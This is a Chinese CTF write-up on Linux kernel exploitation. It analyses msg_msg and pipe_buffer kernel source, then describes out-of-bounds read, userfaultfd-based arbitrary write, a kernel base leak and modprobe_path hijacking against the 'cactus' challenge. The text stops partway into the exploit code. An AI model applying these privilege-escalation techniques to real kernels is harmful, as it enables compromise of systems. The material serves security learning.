2022 ciscn 实践赛西南赛区半决赛只有两道 pwn,一道简单 vm 栈溢出,还有一道 1 解 kernel。

因为题目没有泄露函数,所以我依赖 msg_msg 构造越界读 & 任意写的原语,同时借助 pipe_buffer 完成内核地址泄露。

笔者对 msg 源码进行了浅要的剖析,有基础 or 对源码不感兴趣 的读者可自行选择跳过。

# msg_msg & msg_msgseg:

# 前言

消息队列是 Linux 的一种通信机制,这种通信机制传递的数据具有某种结构,而不是简单的字节流。消息队列的本质其实是一个内核提供的链表,内核基于这个链表,实现了一个数据结构。

可以通过消息队列实现进程间通信等。

# 结构体

/include/linux/msg.h 中有关于 msg_msg 结构体的定义:

1
2
3
4
5
6
7
8
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};

其中 list_head 为双向链表结构体,储存 nextprev 指针:

1
2
3
struct list_head {
struct list_head *next, *prev;
};

ipc/msgutil.c 中有对 msg_msgseg 的定义,还有申请 msg_msg 结构体的函数:

1
2
3
4
struct msg_msgseg {
struct msg_msgseg *next;
/* the next part of the message follows immediately */
};

可以看到 msg_msgseg 就是一个嵌套的结构体指针。

# 源码分析

# msgget

1
int msgget(key_t key, int msgflag)

其中参数含义:

参数 参数意义
key key 的值为函数 ftok 的返回值或 IPC_PRIVATE ,若为 IPC_PRIVATE 则直接创建新的消息队列
msgflag IPC_CREAT : 创建新的消息队列。 IPC_EXCL : 与 IPC_CREAT 一同使用,表示如果要创建的消息队列已经存在,则返回错误。( IPC_EXCL 没有什么实质性的意义,但是可以帮我们确定是新建了消息队列而不是返回已经存在的消息队列) IPC_NOWAIT : 读写消息队列要求无法满足时,不阻塞。返回值: 调用成功返回队列标识符,否则返回 - 1. 其中该参数需要配合权限控制符,例如 0666|IPC_CREAT

调用 msgget 函数会创建新的消息队列,或者获取已有的消息队列,若创建新的消息队列,会创建一个 msg_queue 结构体当消息队列 msg_msg 双向循环链表的起始节点。

需要注意的是后续若某进程调用 msgsnd 函数对消息队列进行写操作,需要该进程有写权限;同理 msgrcv 需要有读权限。这是由 msgget 函数中的第二个参数中的权限控制符所决定的。

# msgsnd

1
int msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg)

引自 Roland 师傅的图:(概括性的,若读者不想看我对源码的分析可以直接参考这个表)

调用 msgsnd 系统调用在指定消息队列上发送一条指定大小的 message 时,会建立 msg_msg 结构体。

# ①申请结构体内存 && 链表 link&& 数据拷贝

查看实现 msgsnd 系统调用的 do_msgsnd 函数部分源码:

  • 定义了 msg_queue 作为 msg_msg 队列的链表头。
  • 调用了 load_msg 函数对 msg 进行了初始化。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static long do_msgsnd(int msqid, long mtype, void __user *mtext,
size_t msgsz, int msgflg)
{
struct msg_queue *msq;
struct msg_msg *msg;
int err;
struct ipc_namespace *ns;
DEFINE_WAKE_Q(wake_q);

ns = current->nsproxy->ipc_ns;

if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)
return -EINVAL;
if (mtype < 1)
return -EINVAL;

msg = load_msg(mtext, msgsz);

...........

查看 load_msg 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;

msg = alloc_msg(len);
if (msg == NULL)
return ERR_PTR(-ENOMEM);

alen = min(len, DATALEN_MSG);
if (copy_from_user(msg + 1, src, alen))
goto out_err;

for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
src = (char __user *)src + alen;
alen = min(len, DATALEN_SEG);
if (copy_from_user(seg + 1, src, alen))
goto out_err;
}

err = security_msg_msg_alloc(msg);
if (err)
goto out_err;

return msg;

out_err:
free_msg(msg);
return ERR_PTR(err);
}

调用了 alloc_msg 函数分配空间,同时将用户数据拷贝到内核 msg_msg 队列中。

再查看 alloc_msg 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#define DATALEN_MSG	((size_t)PAGE_SIZE-sizeof(struct msg_msg))
#define DATALEN_SEG ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))


static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;

alen = min(len, DATALEN_MSG);
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
if (msg == NULL)
return NULL;

msg->next = NULL;
msg->security = NULL;

len -= alen;
pseg = &msg->next;
while (len > 0) {
struct msg_msgseg *seg;

cond_resched();

alen = min(len, DATALEN_SEG);
seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}

return msg;

out_err:
free_msg(msg);
return NULL;
}

从该函数源码我们可以知道:

  • msg_msg 结构体有储存自身信息的 header ,大小为 0x30。 msg_msg 结构体只能申请最大为 PAGE_SIZE - header_size (也就是 0x1000-0x30)。
  • 若消息 length 大于 DATALEN_MSG ,则会将剩下的内容储存在 msg_msgseg 中,同理 多余length 也不可超过 DATALEN_SEG ,但是 msg_msgsegheader 没有 msg_msg 那么复杂,只有一个 next 指针,剩余数据全用来储存 data
  • 若多余 length 超过 DATALEN_SEG ,则继续分配 msg_msgseg 结构体。

通俗点来说, msg_msgmsg_msgseg 结构体最大 size 均不能超过 page_size

  • msg_msg 超过了会分配 msg_msgseg 帮它分担。
  • msg_msgseg 超过了会继续分配 msg_msgseg

最后单个 msg_msg 消息会形成如下的单向链表结构:

msg_msg 之间则是用 list_head 来链接,形成的是以 msg_queue 为首节点的双向循环链表结构,大致如下:

申请 msg_msg 的调用链:

1
do_msgsnd-->load_msg-->alloc_msg

# msgrcv

1
ssize_t msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp,int msgflg)

同样引自 Roland 师傅的图:(进行了一点小更正)

msgrcv 系统调用能从消息队列上接受指定大小的消息,并且选择性(是否)释放 msg_msg 结构体。

具体实现源码在 /ipc/msg.cdo_msgrcv 中。

# ①通过 find_msg 定位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static struct msg_msg *find_msg(struct msg_queue *msq, long *msgtyp, int mode)
{
struct msg_msg *msg, *found = NULL;
long count = 0;

list_for_each_entry(msg, &msq->q_messages, m_list)
{
if (testmsg(msg, *msgtyp, mode) &&
!security_msg_queue_msgrcv(&msq->q_perm, msg, current,
*msgtyp, mode))
{
if (mode == SEARCH_LESSEQUAL && msg->m_type != 1)
{
*msgtyp = msg->m_type - 1;
found = msg;
}
else if (mode == SEARCH_NUMBER)
{
if (*msgtyp == count)
return msg;
}
else
return msg;
count++;
}
}

return found ?: ERR_PTR(-EAGAIN);
}

该函数中源码中使用了内核源码中常见的一个宏定义: list_for_each_entry 。该宏定义可以理解为一个 for 循环。

它实际上是一个 for 循环,利用传入的 pos 作为循环变量,从表头 head 开始,逐项向后(next 方向)移动 pos,直至又回 head。

该循环遍历了 msg_queue 为首节点的双向循环链表,也就是遍历了所有 msg_msg 队列的头节点。

然后调用 testmsg ,根据 mode 和传入的 msgtyp 来筛选:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static int testmsg(struct msg_msg *msg, long type, int mode)
{
switch (mode) {
case SEARCH_ANY:
case SEARCH_NUMBER:
return 1;
case SEARCH_LESSEQUAL:
if (msg->m_type <= type)
return 1;
break;
case SEARCH_EQUAL:
if (msg->m_type == type)
return 1;
break;
case SEARCH_NOTEQUAL:
if (msg->m_type != type)
return 1;
break;
}
return 0;
}

其中 modeconvert_mode 决定:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static inline int convert_mode(long *msgtyp, int msgflg)
{
if (msgflg & MSG_COPY)
return SEARCH_NUMBER;
/*
* find message of correct type.
* msgtyp = 0 => get first.
* msgtyp > 0 => get first message of matching type.
* msgtyp < 0 => get message with least type must be < abs(msgtype).
*/
if (*msgtyp == 0)
return SEARCH_ANY;
if (*msgtyp < 0) {
if (*msgtyp == LONG_MIN) /* -LONG_MIN is undefined */
*msgtyp = LONG_MAX;
else
*msgtyp = -*msgtyp;
return SEARCH_LESSEQUAL;
}
if (msgflg & MSG_EXCEPT)
return SEARCH_NOTEQUAL;
return SEARCH_EQUAL;
}

综合起来,可以看到用户是通过 ** 控制 msgtyp ** 来控制 do_msg_rcv 拷贝 / 取得 哪条队列信息:

msgtyp mode 效果
<0 SEARCH_LESSEQUAL 找到一个 msg->m_type 小于 msgtypmsg->m_type 最小的 msg_msg
=0 SEARCH_ANY 找到 msg_msg 队列中第一个 msg_msg
>0 SEARCH_EQUAL||SEARCH_NOTEQUAL 找到第一个 msg->m_type 等于 / 不等于 msgtypmsg_msg

特例: MSG_COPY 位为 1 的时候, modeSEARCH-NUMBER , 在 find_msg 中会返回 msg_msg 双向循环链表中,第 msgtypmsg_msg ,也就是返回第 msgtyp 条消息,而不是上述表格中根据 msgtyp 去和 msg->m_type 进行匹配。

# ②链表 unlink&& 释放结构体

/ipc/msg.cdo_msgrcv

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
int mode;
struct msg_queue *msq;
struct ipc_namespace *ns;
struct msg_msg *msg, *copy = NULL;
...........
...........
list_del(&msg->m_list);
...........
...........
free_msg(msg);

return bufsz;

内核首先会调用 list_del() 将其从 msg_queue 的双向链表上 unlink,之后再调用 free_msg() 释放 msg_msg 单向链表上的所有消息。

# ③内核–> 用户态的消息拷贝

do_msg_rcv 函数最后,调用了 msg_handler ,看参数像是进行内核–> 用户的数据拷贝。

1
bufsz = msg_handler(buf, msg, bufsz);

其中 msg_handlerdo_msgrcv 传进来的参数,是一个函数指针,向上看调用 do_msgrcv 的调用链:

1
2
3
4
5
long ksys_msgrcv(int msqid, struct msgbuf __user *msgp, size_t msgsz,
long msgtyp, int msgflg)
{
return do_msgrcv(msqid, msgp, msgsz, msgtyp, msgflg, do_msg_fill);
}

可知 msg_handler 具体函数指针为 do_msg_fill

1
2
3
4
5
6
7
8
9
10
11
12
13
static long do_msg_fill(void __user *dest, struct msg_msg *msg, size_t bufsz)
{
struct msgbuf __user *msgp = dest;
size_t msgsz;

if (put_user(msg->m_type, &msgp->mtype))
return -EFAULT;

msgsz = (bufsz > msg->m_ts) ? msg->m_ts : bufsz;
if (store_msg(msgp->mtext, msg, msgsz))
return -EFAULT;
return msgsz;
}

其中调用 store_msg 进行数据拷贝:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int store_msg(void __user *dest, struct msg_msg *msg, size_t len)
{
size_t alen;
struct msg_msgseg *seg;

alen = min(len, DATALEN_MSG);
if (copy_to_user(dest, msg + 1, alen))
return -1;

for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
dest = (char __user *)dest + alen;
alen = min(len, DATALEN_SEG);
if (copy_to_user(dest, seg + 1, alen))
return -1;
}
return 0;
}

可以看到拷贝过程和之前 msg_msg 结构内存申请相对应:

  • 若拷贝数据总长度小于 DATALEN_MSG ,则直接拷贝后结束。
  • 若拷贝数据总长度小于 DATALEN_MSG ,则继续拷贝 msg_msg 单向链表后面的 msg_msgseg 结构体内容,直到拷贝结束。

ps:拷贝结束的标志均为 seg->next 指针为 NULL

拷贝的总长度则由 msgsz 决定,而 msgsz

1
msgsz = (bufsz > msg->m_ts) ? msg->m_ts : bufsz;

可以看到若 bufsz 足够的情况下,拷贝数据总长度是由 msg->m_ts 决定的。

# ④特例: MSG_COPY

需要注意的是,若我们带有 MSG_COPY 标志,则不会在双向链表上 unlink,只会进行 copy 操作,具体实现在 do_msgrcv 中部分源码:

若有 MSG_COPY 标志,源码注释:If we are copying, then do not unlink message and do not update queue parameters.

不会调用 list_del() 去进行 unlink ,并且最后 free_msg() 释放的是我们在内核中 copy 出来的堆块。也就是说,我们可以通过设置 MSG_COPY 多次读取一条消息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
if (!IS_ERR(msg)) {
/*
* Found a suitable message.
* Unlink it from the queue.
*/
if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
msg = ERR_PTR(-E2BIG);
goto out_unlock0;
}
/*
* If we are copying, then do not unlink message and do
* not update queue parameters.
*/
if (msgflg & MSG_COPY) {
msg = copy_msg(msg, copy);
goto out_unlock0;
}

list_del(&msg->m_list);
msq->q_qnum--;
msq->q_rtime = ktime_get_real_seconds();
ipc_update_pid(&msq->q_lrpid, task_tgid(current));
msq->q_cbytes -= msg->m_ts;
atomic_sub(msg->m_ts, &ns->msg_bytes);
atomic_dec(&ns->msg_hdrs);
ss_wakeup(msq, &wake_q, false);

goto out_unlock0;
}
# msgtyp 意义转变

通过find_msg 定位一节已经讲过:

MSG_COPY 位为 1 的时候, modeSEARCH-NUMBER , 在 find_msg 中会返回 msg_msg 双向循环链表中,第 msgtypmsg_msg ,也就是返回第 msgtyp 条消息,而不是上述表格中根据 msgtyp 去和 msg->m_type 进行匹配。

# msgsz 检测

由于 MSG_COPY 位为 1 的时候,内核会调用 prepare_copy 再申请一块内存出来。

1
2
3
4
5
6
7
8
9
10
11
12
static inline struct msg_msg *prepare_copy(void __user *buf, size_t bufsz)
{
struct msg_msg *copy;

/*
* Create dummy message to copy real message to.
*/
copy = load_msg(buf, bufsz);
if (!IS_ERR(copy))
copy->m_ts = bufsz;
return copy;

申请内存大小为我们传入 do_msgrcvbufsz

两个 msg_msg 之间的拷贝则由 copy_msg 负责,而在 copy_msg 函数中有一段代码如下:

1
2
if (src->m_ts > dst->m_ts)
return ERR_PTR(-EINVAL);

若源 src->m_ts 大于目标 dst->m_ts , 则会发生溢出,因此会直接返回不会拷贝。

同时 copy_msg 函数末尾还有赋值操作:

1
dst->m_ts = src->m_ts

因此我们要满足的条件是 src->m_ts <= dst->m_ts 即可。

bufsz >= src->m_ts

# 具体利用

# ①地址泄露

经过对源码的阅读和分析,可以想到我们可以做到的事情:

(1) 改掉 msg_msg->m_ts

可以读取最多一页的内存,实现越界读。

  1. 若单项链表只有 msg_msg ,则可以读取该 msg_msg 附近的数据(最多将近一页内存)。
  2. 若单向链表中含有 msg_msgseg ,则可以读取单向链表尾节点 msg_msgseg 中附近的数据(最多将近一页内存)。

(2) 改掉 msg_msg->m_tsmsg_msg->m_list 中的 next 指针。

可以利用堆喷其他结构体 + msg_msg 越界读,获得一些堆地址 or 内核地址。

可以堆喷一些一些消息队列,每个消息队列上只有一条消息:即 msg->queue 双向循环链表里只有一个节点:

可以通过某个 msg_msg 的越界读,有几率读到其他消息队列的 msg_msgm_list 字段,而我们构造每条消息队列上只有一条消息

,泄露其 m_list ,即为 msg_queue 的地址。泄露完之后,继续伪造 msg_msg->next 字段可泄露整个该消息队列中每个结构体的地址。

可以实现任意地址读。

但是需要注意的是,我们需要伪造我们需要读的地址 target 的 next 指针为 NULL,不然在 store_msg 进行数据拷贝的时候,是以 NULL 指针为结束判断条件,因此我们需要满足 target->next==NULL or target->next->next==NULL ,反正需要我们伪造的任意读链表存在一个 NULL节点 ,且中途不能到达不可读地址,否则会造成 kernel panic。

# ②任意地址写

do_msgsnd 函数中调用了 load_msg 进行用户到内核的数据拷贝,若我们利用 userfault 机制暂停一个线程,再在另一个线程中篡改掉 msg->next 指针,则可以实现任意地址写。

模板采用的 arttnba3 师傅的模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
struct list_head {
uint64_t next;
uint64_t prev;
};

struct msg_msg {
struct list_head m_list;
uint64_t m_type;
uint64_t m_ts;
uint64_t next;
uint64_t security;
};

struct msg_msgseg {
uint64_t next;
};


struct msgbuf {
long mtype;
char mtext[0];
};


int getMsgQueue(void)
{
return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}

int readMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz, msgtyp, 0);
}

/**
* the msgp should be a pointer to the `struct msgbuf`,
* and the data should be stored in msgbuf.mtext
*/
int writeMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
((struct msgbuf*)msgp)->mtype = msgtyp;
return msgsnd(msqid, msgp, msgsz, 0);
}

/* for MSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue */
int peekMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz, msgtyp,
MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}

void buildMsg(struct msg_msg *msg, uint64_t m_list_next, uint64_t m_list_prev,
uint64_t m_type, uint64_t m_ts, uint64_t next, uint64_t security)
{
msg->m_list.next = m_list_next;
msg->m_list.prev = m_list_prev;
msg->m_type = m_type;
msg->m_ts = m_ts;
msg->next = next;
msg->security = security;
}

# pipe_buffer(kmalloc-1k)

# 前言

pipe 是 Linux 系统跨进程通信的一种方式。管道是连接一个读进程和一个写进程,以实现它们之间通信的共享文件。基于 pipe 族系统调用实现 (而非 open() )。而这个文件不是真正的文件,向管道文件读写数据其实是在读写内核缓冲区

1
2
#include <unistd.h>
int pipe(int pipefd[2]);

pipe () 创建一个管道,一个可用于进程间通信的单向数据通道。 数组 pipefd 用于返回两个指向管道末端的文件描述符。 pipefd [0] 是管道的读端 fd。 pipefd [1] 是管道的写端 fd。 写端把数据写入管道,直到读端读取数据。

管道不需要 open ,但需要 close 释放。

# 结构体

定义在 /include/linux/pipe_fs_i.h 中:

1
2
3
4
5
6
7
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};

size 为 0x30。

# 源码分析

# ①申请内存:alloc_pipe_info

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
struct pipe_inode_info *alloc_pipe_info(void)
{
struct pipe_inode_info *pipe;
unsigned long pipe_bufs = PIPE_DEF_BUFFERS;
struct user_struct *user = get_current_user();
unsigned long user_bufs;
unsigned int max_size = READ_ONCE(pipe_max_size);

pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);
if (pipe == NULL)
goto out_free_uid;

if (pipe_bufs * PAGE_SIZE > max_size && !capable(CAP_SYS_RESOURCE))
pipe_bufs = max_size >> PAGE_SHIFT;

user_bufs = account_pipe_buffers(user, 0, pipe_bufs);

if (too_many_pipe_buffers_soft(user_bufs) && pipe_is_unprivileged_user()) {
user_bufs = account_pipe_buffers(user, pipe_bufs, PIPE_MIN_DEF_BUFFERS);
pipe_bufs = PIPE_MIN_DEF_BUFFERS;
}

if (too_many_pipe_buffers_hard(user_bufs) && pipe_is_unprivileged_user())
goto out_revert_acct;

pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
GFP_KERNEL_ACCOUNT);

if (pipe->bufs) {
init_waitqueue_head(&pipe->rd_wait);
init_waitqueue_head(&pipe->wr_wait);
pipe->r_counter = pipe->w_counter = 1;
pipe->max_usage = pipe_bufs;
pipe->ring_size = pipe_bufs;
pipe->nr_accounted = pipe_bufs;
pipe->user = user;
mutex_init(&pipe->mutex);
return pipe;
}

out_revert_acct:
(void) account_pipe_buffers(user, pipe_bufs, 0);
kfree(pipe);
out_free_uid:
free_uid(user);
return NULL;
}

在建立管道时,内核首先会申请一个 pipe_inode_info 结构体,然后在其 pipe_inode_info->buf 字段申请 pipe_buffer 结构体:

1
2
3
unsigned long pipe_bufs = PIPE_DEF_BUFFERS;
pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
GFP_KERNEL_ACCOUNT);

其中 PIPE_DEF_BUFFERS =16;因此会申请 0x10*0x30 (size of pipe_buffer) 的内存,也就是会从 kmalloc-1k 中取。

# ②函数表:pipe_buf_operations

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
struct pipe_buf_operations {
/*
* ->confirm() verifies that the data in the pipe buffer is there
* and that the contents are good. If the pages in the pipe belong
* to a file system, we may need to wait for IO completion in this
* hook. Returns 0 for good, or a negative error value in case of
* error. If not present all pages are considered good.
*/
int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);

/*
* When the contents of this pipe buffer has been completely
* consumed by a reader, ->release() is called.
*/
void (*release)(struct pipe_inode_info *, struct pipe_buffer *);

/*
* Attempt to take ownership of the pipe buffer and its contents.
* ->try_steal() returns %true for success, in which case the contents
* of the pipe (the buf->page) is locked and now completely owned by the
* caller. The page may then be transferred to a different mapping, the
* most often used case is insertion into different file address space
* cache.
*/
bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);

/*
* Get a reference to the pipe buffer.
*/
bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};

主要关注其 release 指针,在我们关闭一个管道的两端之后,管道会被释放,同样 pipe_buffer 也会被释放。调用的是函数表中的 release 指针。调用路径为: free_pipe_info->pipe_buf_release

# 具体利用

# ①地址泄露

pipe_buffer 中的 *pipe_buf_operations 成员能泄露内核基地址。

PS:需要注意的是,利用 pipe 系统调用后需要调用一次写管道才能对函数表进行初始化:

1
2
3
4
5
6
7
8
9
10
11
12
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
...
...
buf = &pipe->bufs[head & mask];
buf->page = page;
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
...
...

# ②劫持控制流

覆写 pipe_buffer->pipe_buf_operations->release 为某些栈迁移指针。将 rsi –> rsp

# 例题 ciscn - 西南赛区半决赛 - cactus

题目开启了 KPTI , SMAP , SMEP 等正常保护。

内核版本:

1
2
/ $ uname -a
Linux (none) 5.10.102 #2 SMP Sun Mar 27 17:29:07 CST 2022 x86_64 GNU/Linux

5.11 内核版本开始,就禁止非特权用户使用 userfaultfd 了。所以这道题是 userfaultfd 版本最后的荣光 (bushi

# 代码审计

# ①一些无法利用的漏洞点

kernel_release 函数中存在指针未清零的情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall kernel_release(inode *inode, file *filp)
{
char **v2; // rax
int result; // eax

_fentry__();
v2 = addrList;
do
*v2++ = 0LL;
while ( v2 != &addrList[32] );
kfree(buffer, filp);
result = 0;
flags = 0;
return result;
}

但是 kernel_open 函数判断了 flag 字段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void kernel_open()
{
__int64 v0; // rdi

_fentry__();
if ( !flags )
{
v0 = kmalloc_caches[8];
flags = 1;
buffer = (char *)kmem_cache_alloc_trace(v0, 0xCC0LL, 0x100LL);
if ( buffer )
kernel_open_cold();
}
}

因此我们无法调用两次 kernel_open 后利用 kernel_release 的指针悬挂,来造成 0x100 size 的一个 object 的 UAF。

但是由于 kernel_readkernel_writekernel_openkernel_release 均未加锁,且 readwrite 中含有类似于如下的 copy_to_user 操作:

1
2
if ( copy_to_user(a2, v4, v5) )
return -2LL;

因此我们可以考虑使用 userfaultfd 卡住当前进程,在另外一个线程中调用 kernel_release 。这样同样可以达到一个 0x100 size 的 UAF。

所以笔者是考虑用这个简单的洞来泄露内核基址,用的是 0x100 size 对应的 timerfd_ctx 结构体。

不过笔者用这种方法无论如何都无法泄露出内核基址,后来咨询 arttnba3 师傅后得知:

内核调用 fput 对文件描述符进行释放,对于文件描述符的关闭会被 delay,直到我们读取数据后才会关闭

因此靠这种操作 leak 内核数据是不可行的。

# ②漏洞点

程序除了 module 自身的 openreleasereadwrite 操作。

提供了简单的菜单堆功能:

  • add:两次 add 机会,size 为 0x400。
  • delete:两次 delete。
  • edit:两次 edit。

所有功能都未加锁,因此可以用 userfaultfd 在 edit 时将进程卡死,在另一个线程中 free 掉这个堆块后申请某些 object 到该地址上,实现 0x400 size object 的 UAF(只能更改一次值)。

# 具体步骤

# ①leak 内核基址

申请一个消息队列,上面只放一条消息,且 size 为 0x400。同时申请一个 pipe_buffer

改大 msg_msg->m_ts ,用带有 MSG_COPY 位的 msgrcv 进行越界读,泄露出 pipe_buffer 上的函数表。

得到内核基址

# ②提权 or 后续利用

leak 内核地址分别消耗了一次 add,delete,edit 操作。因此我们还有一次 UAF 的机会。

笔者最先考虑的是用 pipe_buffer 提权,刚好满足 0x400 的 size,因此我们利用 UAF 将 pipe_buffer->pipe_buf_operations->release 函数指针更改为某个栈迁移 gadget 即可。

但是我并没有找到可利用的 gadget,其中有一条可能能达成的:

1
push_rsi_pop_rsp = 0xffffffff81934056;//push rsi; pop rsp; retf;

不过 retf 是按 32 位 pop eipcs ,的,而 32 位根本不足以储存一个内核地址。

同时还有例如 mov esp,esi 类型的 gadget ,由于 intel x86&x64 的调用约定,当对 32 位寄存器进行赋值操作的时候,会将高 32 位寄存器值清零,因此也不可用。

同时注意到程序没有开启 CONFIG_STATIC_USERMODEHELPER 保护,因此笔者选择用 UAF 劫持 0x400 size 的 freelistmodprobe_path 附近,更改 modprobe_path

笔者是申请 msg_msg 结构体申请到 modprobe_path 附近,由于 size 太大,会将 modprobe_path 附近的所有内容全部清空。

直接进行接下来的提权 or 读取 flag 操作会在成功前引起 kernel panic ,因此我们需要恢复 modprobe_path 附近的函数指针。

其中, kmod 的函数指针恢复是必要的:

因为 modprobe_path 是一个 Linux 程序,最初由 Rusty Russell 编写,用于在 Linux 内核中添加一个可加载的内核模块,或者从内核中移除一个可加载的内核模块,因此 modprobe 是安装某个内核模块,而 kmod 是一个用于控制 linux 内核模块的程序,因此在后续调用中需要用到

最后直接利用 modprobe_path_hijack 更改 flag 权限后读取即可。

# poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/msg.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <semaphore.h>

#define CLOSE printf("\033[0m");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define real(a) a+kernel_base-0xffffffff81000000
#define PAGE_SIZE 0X1000
#define MSG_COPY 040000

size_t fd;
size_t kernel_base;
size_t tmp_buf[0x500];
char *msg_buf;
size_t fake_ops_buf[0x100];

int ms_qid[0x100];
int pipe_fd[0x20][2];



sem_t sem_addmsg;
sem_t sem_editmsg;
sem_t edit_down;
sem_t edit_heap_next;
sem_t sem_edit_msg_for_modpath;

struct list_head {
size_t next;
size_t prev;
};

struct msg_msg {
struct list_head m_list;
size_t m_type;
size_t m_ts;
size_t next;
size_t security;
};

struct msg_msgseg {
size_t next;
};


// struct msgbuf {
// long mtype;
// char mtext[0];
// };


int getMsgQueue(void)
{
return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}

int readMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz, msgtyp, 0);
}

/**
* the msgp should be a pointer to the `struct msgbuf`,
* and the data should be stored in msgbuf.mtext
*/
int writeMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
((struct msgbuf*)msgp)->mtype = msgtyp;
return msgsnd(msqid, msgp, msgsz, 0);
}

/* for MSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue */
